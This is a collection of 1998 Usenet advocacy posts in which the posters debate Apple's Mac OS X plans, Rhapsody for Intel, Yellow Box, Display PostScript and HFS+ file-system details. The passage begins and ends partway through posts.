> allegations.
>
> Your ideal universe of legal perfection sharply clashes with real life,
> and it's hardly pragmatic to insist that repeated charges of misconduct
> does not increase the likelihood that misconduct occurred.
> --
>
> T. Max Devlin
> Hi-TECH Connections/Eltrax Systems
> *****************************************************
> - Opinions expressed are my own.
> Anyone else may use them only in
> accordance with licensing agreements. -
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 18 May 1998 17:56:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18626D8-17C65@206.165.43.17>
References: <slrn6m1g7h.k3r.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
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Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
>Suppose 'f' followed by 'l' is force times length and not a ligature "fl"?
>
then turn ligatures off for that sub-string or use a font that doesn't
provide such a ligature.
>Do I want my printing subsystem to be making this decision for me?
>
No, you want your integrated imaging/printing system to be able to tell the
difference, based on what you (or the end-user) has decided is appropriate
for that specific bit of text. Download Lari Software's LightningDraw demo
and play with the text editor for a while. You'll get the idea of what
text-handling should do, even in a simplistic case like a QT vector
graphics drawing app.
>Postscript is the printing format. Display Postscript is printing to
pixels
>instead of paper.
Your point isn't valid since you can control GX text as completely as you
need to at all points in the print process (or cut/copy/paste process). Of
course, someone else pointed out that Acrobat seems to be able to recognize
common ligatures, but what about uncommon ones? As long as these are either
specified in the GX font or in the GX style object associated with a given
text-run, you can control every aspect of GX text. LIkewise, you should be
able to store the state of an NSText object in the intermediate format used
for cutting/pasting/saving text on the clipboard/file and get the same
behavior.
If you don't, then the proposed strategy for using PDF is incomplete.
Perhaps you CAN get this behavior (stored text-object state) via PDF via
some specialized extension?
Or maybe Apple just doesn't think that this kind of information is relevant
to textual data stored as an image on the clipboard and doesn't see why
developers would ever want to know about things like ligatures or
non-ligatures, etc, and insists that you deal with the state of NSText
objects differently from the *display* of NSText objects?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Mon, 18 May 1998 20:33:53 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1805982033530001@news.enetis.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu>
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In article <Et6CuI.Ctn@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
> IMHO, a Mac advocate has no room to talk about vaporware. Need I remind you
> of CHRP, Copeland, or OpenDoc. Since when has Microsoft or Intel ever
> scratched projects of this magnitude?
> Jon
So... since Intel and Microsoft are more successful, then those users who
rely on Intel and Microsoft have more of a right to argue in defense of
their choices and the future of their platform. Correct? I trust you see
the arrogance of your point of view.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 19 May 1998 00:25:09 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6jqjh5$39n$5@blue.hex.net>
References: <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5> <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com> <us5vhr5iye0.fsf@ai.mit.edu> <355E3B44.AC0E2AF7@trilithon.com>
On Sat, 16 May 1998 18:20:04 -0700, Henry McGilton <henry@trilithon.com> wrote:
>Stephen Peters wrote:
>
> * markeaton@mindspring.canned-meat-filter.com (Mark Eaton) writes:
> * * Umm, how would DGS solve the problem?
>
> * Assuming that the main reason for the change was the
> * royalty cost for YB apps to deploy on Windows, DGS
> * *would* solve that problem, since it's a clean-room
> * implementation of the DPS spec. It would be, in effect,
> * royalty free (Apple pays royalties to Adobe for the
> * implementation, not the language).
>When you say "Display Ghostscript", I assume you mean something
>built upon Peter Deutsch's Ghostscript? For commercial purposes,
>I believe that there would be royalties involved.
a) It seems rather likely that DGS will use the GNU Public License.
Which does not require that royalties be paid for commercial use.
b) If Apple wished to license DGS from Aladdin under some other
arrangement, that is likely possible. If they fed Aladdin some
(reasonable sum of money), that could probably cover licensing in
virtual perpetuity.
--
Windows '95 - A 32 bit patch for a 16 bit interface to an 8 bit OS
designed for a 4 bit chip.
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 19 May 1998 01:00:04 GMT
Organization: University of California at San Diego
Message-ID: <slrn6m1mcj.k3r.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com> <355EFC75.4652@erols.com> <199805172329232380717@sdn-ts-001txhousp01.dialsprint.net> <6jomse$dv$3@news.idiom.com>
On 18 May 1998 07:10:06 GMT, John C. Randolph wrote:
: John Bauer may or may not have said:
:-> I know it's a fantasy to think Microsoft will be mortally wounded by the
:-> transition to Merced, but this new architecture may at least briefly and
:-> ever so slightly open the door for Windows alternatives.
:
:Microsoft won't be hurt by it, but they will not be the first company to ship
:an OS that's optimized for it.
I wonder if they will ever ship for Merced. They could really stir things
up by going only for Alpha. Especially now that Compaq---obsequiously
Microsoft-friendly---is the owner of the Alpha design. Better if Microsoft
just buys the Alpha rights themselves.
The idea being to commoditize Intel into being just another foundry making
chips at zero margin, just like it is for RAM and motherboards et cetera.
The fact that the preferred architecture for NT would just *happen* to be
mostly closed and incompatible with non MS operating systems would be
''incidental''. :( {not saying anything about Alpha today, but in
some hypotheitcal future}
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Mon, 18 May 1998 16:29:36 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1805981629360001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <nagleEt1DyG.5qM@netcom.com> <355DCB6D.4269@earthlink.net>
In article <355DCB6D.4269@earthlink.net>, skellener@earthlink.net wrote:
>John Nagle wrote:
>> Actually, there's a good reason for not having a command-line
>> interface at all. It's too tempting to require use of the command
>> line interface for "seldom-used functions". Windows and UNIX have
>> this problem in a big way, and one of the strengths of the Mac is
>> that it doesn't. Developers have to provide a GUI for everything.
>> The result is a better user interface.
>
>I disagree. IMHO NeXT had a better GUI than the Mac and it had a CLI.
So, if you understand John's point, you can assure me that all operations
on OpenStep can be completed without using the command-line. I don't know
anyone that has stated that definitively - I've always heard a 'nearly' in
there somewhere... and *nearly* requires that you put the command line
into your description of the UI.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 19 May 1998 16:40:21 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jsqnl$v26$1@crib.bevc.blacksburg.va.us>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <3561D9E4.4839@CONVEX.COM>
In article <3561D9E4.4839@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> Nathan Urban wrote:
> [cut]
> > I also think that you need to do more background research before you go
> > around spreading FUD about OS X.
> And I think you need to be fair to the man. You have hardly addressed
> his complaints.
Huh?? I addressed _all_ of them, either by agreeing with the ones
that were correct, or correcting the ones that were not, usually with
citations.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 19 May 1998 14:20:59 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jsiib$uma$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
In article <3561BB08.52935430@milestonerdl.com>, m rassbach <mark@milestonerdl.com> wrote:
> Maury Markowitz wrote:
> > I Finally let's not forget the Linux world. There are some five million
> > people that run Linux, and that's with no real apps. Imagine if you could
> > offer them a solid Unix OS that also supports a full suite of apps (more as
> > time goes on of course, but the OpenStep world is pretty good as-is). Linux
> > is likely the most "active" OS in the world right now, with a growth rate
> > that I don't think is matched anywhere. The problem is I don't think those
> > people are on Apple's radar - and that's bad.
> Oh, I think they are on the radar.....but how does helping Lunix help Apple
> sell the Apple branded hardware?
Idiot. Maury didn't say anything about "helping Linux". He said
something about _hurting_ Linux -- namely, Rhapsody/OS X on Intel would
provide an alternative to Linux for some users. (Which it would, because
I know some people who would use it in preference to Linux on Intel.)
In other words, Maury was saying that in Linux there are many users
who are interested in running a Unix on Intel hardware, and that Apple
should be interested in acquiring some of them because they're not likely
to buy new hardware just to run a Unix, whatever its additional perks,
when they've already got Intel.
Even if Apple's main business is selling PowerMac hardware, selling an
OS to those people is better than selling _nothing_ to those people,
and may be a foot in the door for them to consider PowerMacs when they
next upgrade, if they decide they really like Apple's OS.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 18 May 1998 17:03:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6jppkd$jp0@newsb.netnews.att.com>
References: <01bd81b9$c8480d60$04387880@test1> <6jnq9e$ibc$1@news.tuwien.ac.at>
Originator: gupta@tlctest
Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
>
>Not attempting native Intel support would be perfectly understandable if a
>port of the Rhapsody/Mach core would have to be done first and from scratch.
>But they've had the bloody port working for years (under different names, but
>what the heck)! They've got the expertise and everything to write drivers and
>to do support for new hardware!
Rhapsody on Intel would have the same problem that the
Yellow Box has on PowerPC : lack of applications.
a. If Yellow Box applications are successful, Rhapsody on Intel may make
sense.
b. Merced, one hopes, will be different from the x86 mess, and that
may be the appropriate first target for Rhapsody.
-arun gupta
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Procrastination pays: Yellow Box to join Newton
Date: 18 May 1998 13:08:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jppu9$rha$1@crib.bevc.blacksburg.va.us>
References: <laranzu-1905982220120001@dd197.spirit.net.au>
In article <laranzu-1905982220120001@dd197.spirit.net.au>, laranzu@spirit.com.au (Hugh Fisher) wrote:
> The latest WWDC has once more sent a clear, unambiguous message
> to Apple developers: procrastinate now!
If you're stupid and want to get killed in the market, that is.
> Carbon is the chosen API for future development, and I'm very much afraid
> that we're never going to see Yellow Box on MacOS X.
You're very much mistaken. It sounds like you're another one of those
people who listened to the Monday keynote at WWDC and didn't pay
attention to anything else after that. First, since MacOS X _is_
Rhapsody, why _wouldn't_ we see Yellow on OS X? Second, Apple is
putting a _lot_ of effort into enhancing Yellow, far more effort than
can be justified for something they're going to kill, especially in
Apple's current "kill anything that's not going anywhere before we sink
any more money into it" climate. Third, as you mention below,
> At this point all the OpenStep developers are saying "But Apple
> are still recommending Yellow Box as their preferred cross -
> platform solution and for new development."
> Yeah, they don't want any negative vibes for the press to latch on to yet.
> But it will happen. The Mach/BSD kernel will undoubtedly stay as the basis
> for MacOS X, but the Yellow Box has become redundant.
Don't be absurd. Yellow Box isn't any more redundant on OS X than it
was on Rhapsody. And why on earth would Apple bury the best development
environment on the planet, when it works just fine on their operating
system?? They know that they can't get the big developers to port
huge existing code bases to Yellow, but what does Apple gain by not
encouraging _new_ developers to use Yellow? Shoddier apps that have a
greater time-to-market, not exactly something Apple needs right now.
> Remember that Apple have stated that Win95/NT is the model for
> their Rhapsody/MacOS strategy.
During WWDC, or before? It sounds like they've changed that strategy.
> Then there's the new imaging model for MacOS X. Without Display
> PostScript, Yellow Box will need a fair amount of code replaced
> if it's to run on MacOS X.
Nope. You haven't been paying attention.
> Either they start maintaining a dual
> code tree, one for Intel and one for MacOS X, or they port Carbon
> to Intel.
Huh??? Why would they need a dual code tree? (Well, there are minor
hardware dependencies, but the vast majority of the code is
OS-independent. Carbon of course won't be on Intel, but that doesn't
affect any of the non-Carbon code tree.)
Anyway, it looks like they're going to kill their OS offering on Intel.
> Steve Jobs has made it clear
> that MacOS is the only thing that matters:
Of course, MacOS is Rhapsody as of OS X.
> I predict, and I'd really like to be wrong, that in six months
> Apple will announce that Yellow Box won't be available on the
> first release of MacOS X.
That's pretty funny. Why sink all this time, effort, and money into
it then? Why were half the WWDC software sessions on Yellow? Why are
they encouraging developers to use it for OS X development? Do you
think Apple can afford to burn developers again? What do you think
Apple stands to gain by killing YB on OS X?
Troll.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: 19 May 1998 19:59:41 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6jsobd$rhn@newsb.netnews.att.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfi4$uhv$1@crib.bevc.blacksburg.va.us>
Originator: gupta@tlctest
Nathan Urban <nurban@vt.edu> wrote:
>Yellow/Windows suffers from intrinsic problems with NT, and doesn't give
>a taste of the real Mac OS for those interesting in transitioning from
>Windows to Macs.
I'm not sure what the first part of the above sentence means, but
if the Yellow-Box-on-Windows-applications have problems other than
those shared by all Windows applications, then the
Yellow-Box-cross-platform strategy is dead.
***
To put the whole question in another way :
what is Apple's prime task, as far as wooing developers
to the Yellow-Box is concerned ?
The answer is (if the Yellow Box is as good as advertised) :
increase the number of seats that can run yellow-box-applications
as rapidly as possible.
To this end, Yellow-Box-on-Windows is far more important than
Rhapsody-on-Intel.
-arun gupta
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 14:12:37 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561D9A5.776AD633@milestonerdl.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu>
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To: spammers@ruin.the.internet.channelu.com
spammers@ruin.the.internet.channelu.com wrote:
> (D2) (1) would indicate that YB 9x/NT will sell many more copies than
> Rhapsody for Intel(RI) so why spend money to develop it when
> Apple won't be selling too many copies.
I thought the plan was that you gave away the runtimes for YB on NT/Win95.
You bought the tools to make the cross-platform happen.
> (D4) Rhapsody for Intel will only take away from PPC sales, another
> reason to dump it.
Yuppers. Apple killed the special needs division that only cost Apple 1
million a year, because it was not crucial. (according to a press report...)
> (D7) Drivers - the amount of $$ just to support devices costs
> too darn much - the complaints resulting from none or
> badly supported drivers will do more to hurt Rhapsody/Apple
> than to help it.
Someone else posted a 'smoke screen comment' on this matter. One Apple person
said it was expensive, another used the the words 'virtually
free'.(Dsomething) Apple right now is saying G3 is 2X speed Pentium II. If
you have the 'same' OS on PPC/Pent II boxes and don't see the 2X speed, calls
of 'the benchmark is a lie' would ring throughtout the land.
(Dsomething++) Apple is a hardware company. 'Everyone' 'knows' Apple is a
hardware company. Unless Apple starts selling Intel hardware, any Apple
branded software on non-Apple hardware is subject to 'go away' at any time.
(Dsomething++) It's an Apple product, and therefore trash/made by a company
that is going bankrupt/isn't Microsoft and everyone who's not Microsoft will
be crushed and gone.
(And if these ppl write the check....move onto someplace else or get used to
M$)
> Reasons to support Rhapsody for Mach on Intel.
>
> (S1) Because the dropping of the support would be a signal
> to many that Apple lacks any commitment to anything but
> markets. So if we buy into a technology (software or hardware)
> we can easily be left in the dust w/o so much as a blink of an
> eye.
That, and HOLD the hand of MIS managers. Tell them what you are going to do,
do it, then tell them you did it. Apple has many years of broken promises.
> (S3) Because you've already done most of the work. Why drop
> it now? If even .1% of the wintel market picks up a copy
> that would mean 100-300K copies. Isn't that enough to pay
> for a simple PPC - Intel back port, and a few drivers??
(Ssomething) The premier platform for YB is the PPC platform running (rhapsody
then MacOS X) Although we support Intel x86, we encourage you to move to the
PPC version, if you wish to be a 1st class citizen.
> (S4) Because if you drop it Apple will be percieved as following
> completely in the steps of NeXT Inc. in terms of proprietary
> hardware and software & closed systems which equates
> to a philosopy that is even worse than Microsoft - similiar
> to that which failed @ SGI (though YB on 9x/NT is your
> only VERY IMPORTANT difference). The world already
> is against Microsoft - why would they buy into the same
> if not worse thing at Apple?
MacOS was the 'anti-micro$oft' choice for how long? And that sold how many
copies?
It may be fashionable to hate Bill, but how many boxes does that sell?
> (S6) Because many of your biggest supporters & developers
> were forced to purchase Intel - they won't be happy
> to be told support for Intel will be dropped in lieu of PPC.
> Sure if we are lucky we'll have Rhapsody 1.0 for Intel
> to live on for a while.
Are you commenting on 'the Rhapsody environment only on intel' from WWDC 97?
If Apple cared about offending past Apple buyers, Apple would have acted
differently in a number of cases. But Apple knows they have an advantge - you
can only have the MacOS experience (with or without bending over) on MacOS.
It's the same 'advantage' Microsoft has. (Cept you get more bending over)
> (S7) Because if you don't then effectively you have given the
> death signal to Rhapsody on Intel & Rhapsody in general.
> You Apple in effect are killing any potential of sales
> by making this kind of statement. No-one at this point
> will purchase it even to try since it will be classified as
> dead even before it ships. (Or I should say few -
> since I probably will one way or another)
(Ssomthing++) Another poster brought up Merced....If Apple is willing to
support what is now known to be a 'dead' processor line, x86, then Apple is
more likely to be in the long hall for Merced. The jumping out and jumping in
isn't going to line up ppl to buy the product.(Ssomthing++) When the
government settles with Micro$oft, and the API becomes a public specification,
Apple's implementation combined with YB would be the code of choice. :-)^100
> Frankly
> I am having a hard time thinking of solid financial reasons why Apple
> should support a Rhapsody for Intel beyond 1.0.
Not unless they start making custom Intel hardware. Remember- Apple is a
'hardware company'....
> Given the reasons
> I think YB for 9x/NT squashes any need for it - and gives a lot back
> beyond what one could get with Rhap1.0 alone.
Unless someone came up with 'red box'....Micro$oft compatiblily
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Tue, 19 May 1998 14:19:36 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3561DB48.1F3D2AB7@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <joe.ragosta-190598095047 <Et7vDG.EKB@midway.uchicago.edu>
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Jonathan Eric Miller wrote:
> And the features aren't just
> trivial ones. Just ask Apple. It'll probably be 4 years before Apple is to
> where Microsoft is today.
Wrong. With the Unix base shipping in 4 months, Apple has better technology
then Microsoft has shipping.
Won't have the same volume of applications (many choices for an application
class VS one {or none!} for that same application class) but with the BSD core,
Apple's OS draws on over 25 years of code development.
NT has the chief arthitect of VMS as its designer....and VMS is HOW successful?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 18 May 1998 13:16:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jpqda$rig$1@crib.bevc.blacksburg.va.us>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jplnc$kiv$3@brownfox.svs.com>
In article <6jplnc$kiv$3@brownfox.svs.com>, gmark@grayfox.svs.com (G. Mark Stewart) wrote:
> In the first place, I'd say a substantial number, if not an overwhelming
> majority, of the Mac crowd that actually gave a shit about Rhapsody
> really wanted it to be the basis of the evolving Mac OS.
Indeed. I couldn't care less about MacOS compatibility, I would have run
Rhapsody purely for its Yellow capabilities, yet I think that Apple's
new strategy is smarter and better than their old one. The sooner
unification occurs, the better.
> Secondly, what the hell kind of moron would want the Mac OS to be "abandoned"
> rather than improved, especially in light of the faltering Mac market?
Yeah. Now, they can continue to enhance the Carbon APIs and have that
translate back into enhancements of the old MacOS.
> Thirdly, not only has Apple made better on every promise, but they've
> given a concrete, extremely aggressive in my mind, schedule for convergence
> that will not leave us wondering or making a choice between a Rhapsody
> platform and Mac OS.
A very important point. It would have been hard to convince people to
buy Rhapsody over MacOS. Now, the OS X strategy is essentially like
shipping a Yellow Box for MacOS, except that it runs better than it
would on MacOS. And it's still got the Rhapsody Unix stuff underneath
-- which will probably ship on _every_ new platform in short order.
Since OS X _is_ essentially Rhapsody, this is like shipping Rhapsody to
every new purchaser, except that it runs Carbon-ported MacOS apps as if
they were native, and Blue at least integrated on the same screen.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody
Date: 18 May 1998 13:20:24 -0400
Organization: Data Systems Consulting, Inc.
Distribution: World
Message-ID: <6jpqko$rj7$1@crib.bevc.blacksburg.va.us>
References: <8EF52EC.09B6007773.uuout@relaynet.org>
In article <8EF52EC.09B6007773.uuout@relaynet.org>, sheppard.gordon@relaynet.org (SHEPPARD GORDON) wrote:
> On 05/18/98, MMALCOLM CRAWFORD wrote to Jonathan Harker:
> MC> MacOS X = Rhapsody + Carbon
> Is Apple dropping BlueBox in MacOS X? Or is it implied in "Rhapsody?"
The latter. In fact, I believe I heard that they're going to integrate
Blue Box so that Blue apps will share the screen with Yellow and Carbon
apps.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: 19 May 1998 16:32:46 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jsq9e$v0f$1@crib.bevc.blacksburg.va.us>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfi4$uhv$1@crib.bevc.blacksburg.va.us> <6jsobd$rhn@newsb.netnews.att.com>
In article <6jsobd$rhn@newsb.netnews.att.com>, gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Nathan Urban <nurban@vt.edu> wrote:
> >Yellow/Windows suffers from intrinsic problems with NT, and doesn't give
> >a taste of the real Mac OS for those interesting in transitioning from
> >Windows to Macs.
> I'm not sure what the first part of the above sentence means,
Poor system performance.
> but if the Yellow-Box-on-Windows-applications have problems other than
> those shared by all Windows applications,
No, that's not what I meant.
> To put the whole question in another way :
> what is Apple's prime task, as far as wooing developers
> to the Yellow-Box is concerned ?
> The answer is (if the Yellow Box is as good as advertised) :
> increase the number of seats that can run yellow-box-applications
> as rapidly as possible.
> To this end, Yellow-Box-on-Windows is far more important than
> Rhapsody-on-Intel.
Granted. However, they might also be able to make money on the side
selling Rhapsody/Intel to users who would otherwise choose some other
Intel-based OS, _and_ use it as a foot in the door to encourage an
eventual migration to PowerMac hardware. Unfortunately, all of these
advantages are mostly long-term and don't contribute to short-term
profits.
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
Date: 19 May 1998 20:53:57 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd8367$96b5aa00$c07498cf@edwint.rauland.com>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk> <6jqees$hl0$1@news12.ispnews.com>
Zico <ZicoKnows@hotmail.com> wrote in article
<6jqees$hl0$1@news12.ispnews.com>...
> x-no-archive: yes
>
> mmalcolm crawford wrote:
>
> >Thanks to Don Y for pointing out this one:
> >
>
>http://www.sfgate.com/cgi-bin/article.cgi?file=/examiner/hotnews/stories/17
/app
> le.dtl
> >
> >While Microsoft fights in court to defend its monopoly-created power to
> >force-feed its crummy products to unhappy users, Jobs has been busy
giving
> >everyone what they want.
> >...
> >Apple gave us what we asked for," wrote John C. Randolph, 34, a
programmer in
> >Los Gatos with 14 years of experience with Apple software. "Apple was
starved
> >for a decent operating system and development system. I simply am not
worried
> >about Apple's viability anymore," he explained. "Apple has done
something
> >very clever and pulled it off quite skillfully," echoed Ryan Tokarek, a
> >computer science major at University of Illinois at Urbana/Champaign.
>
>
> I thought that the article was pretty hilarious, myself. Almost
> sounded like Apple wrote it for her. Well, except that it looks
> like she got all her sources from csma--nothing at all against
> JCR or Pulsar, it was just funny.
>
> And the clincher? Her talking about Microsoft force-feeding
> customers software, and then telling us how the iMac will
> ship with Quicken 98, FileMaker Pro, and ClarisWorks. Oh,
> but she explains this by saying that THOSE items are things
> that all Mac customers want. [snip]
She is right!!! I wanted an iMac already, but now that I know that it'll
come with that software bundle, I want it even more.
Edwin
>
> Z
>
>
>
>
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 19 May 1998 16:56:33 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jsrm1$v57$1@crib.bevc.blacksburg.va.us>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu>
In article <6jsm6t$bjf$1@geraldo.cc.utexas.edu>, kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> Nathan Urban (nurban@crib.bevc.blacksburg.va.us) wrote:
> : In article <6jrak9$936$1@geraldo.cc.utexas.edu>, kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> : Apple has an MMX-equivalent in the works: Altivec. Probably inaccurate
> : to say that it's an "MMX-equivalent", it's more like an "MMX-killer".
> : Check out:
> Great! However, it's still not a separate processor. Can Altivec run a
> DSPish program in separate memory at the same time the rest of the CPU
> is executing?
Unlike MMX, Altivec executes instructions in an _independent_
instruction pipeline with its own register set and such (though it shares
main memory with the rest of the CPU). It's also SIMD.
(Thanks to Salvatore Denaro for pointing out these architectural
details.)
> : Yellow apps will still have WYSIWYG and a unified imaging model. This of
> : course won't hold true for MacOS or Carbon apps, but it wouldn't have in
> : Rhapsody either.
> What mentioned was "unified fonts". I install the fonts in one place, and
> all applications and printers can use them. Without identical fonts, there is
> no WYSIWYG. With DPS leaving, how is this possible?
Scott Anguish reported (can't find the reference) that all of your
existing DPS fonts will still work under Yellow. I don't know if
MacOS/Carbon and Yellow apps will be able to share the same set of fonts.
> : From Scott Anguish's Stepwise coverage:
> : "During the Q&A Alex Cone asked about support for sym links on HFS+
> : volumes. Apparently the file system team has put some thought into it
> : and they think they can do this using aliases,
> If this work from a text command line, then great! Otherwise, it's
> useless.
Right. I expect, though, that if they manage to pull this off, it will
probably be command-line accessible.
> : but they have ruled out hard links."
> A big loss to UNIXy types like me.
I'm a UNIXy type and I never use hard links..
> : Actually, if I recall correctly, you _can_ have "Makefile" and "makefile",
> : it's just that if you _request_ one of them it will first try a
> : case-sensitive match and then a case-insensitive one. But I'm not sure.
> If you are correct, this is better than I thought but still not ideal.
I don't think it's really much of a loss, if true.
> : > Multiple fork files: (e.g. .app files) The forks could be read/edited
> : > without special tools. Now >2 forks won't even exist..
> : I don't think that Apple has announced that they're getting rid of file
> : wrappers for Yellow apps/resources. Have you heard otherwise, or simply
> : assumed it?
> I assumed that HFS+ files would have 2 forks that could not be read without
> special tools (in UFS no special tools are necessary). So will HFS+ have
> one scheme for 2 fork files and another for >2 fork files? I don't
> understand why it will be done this way.
HFS+ will be forked. I don't know what this will look like from the
command line. But OS X may keep the file-wrapper directory structure used
in Rhapsody for Yellow apps, rather than moving everything into forks.
> : > Compressed Swapfile: Maybe this will be in OSX?
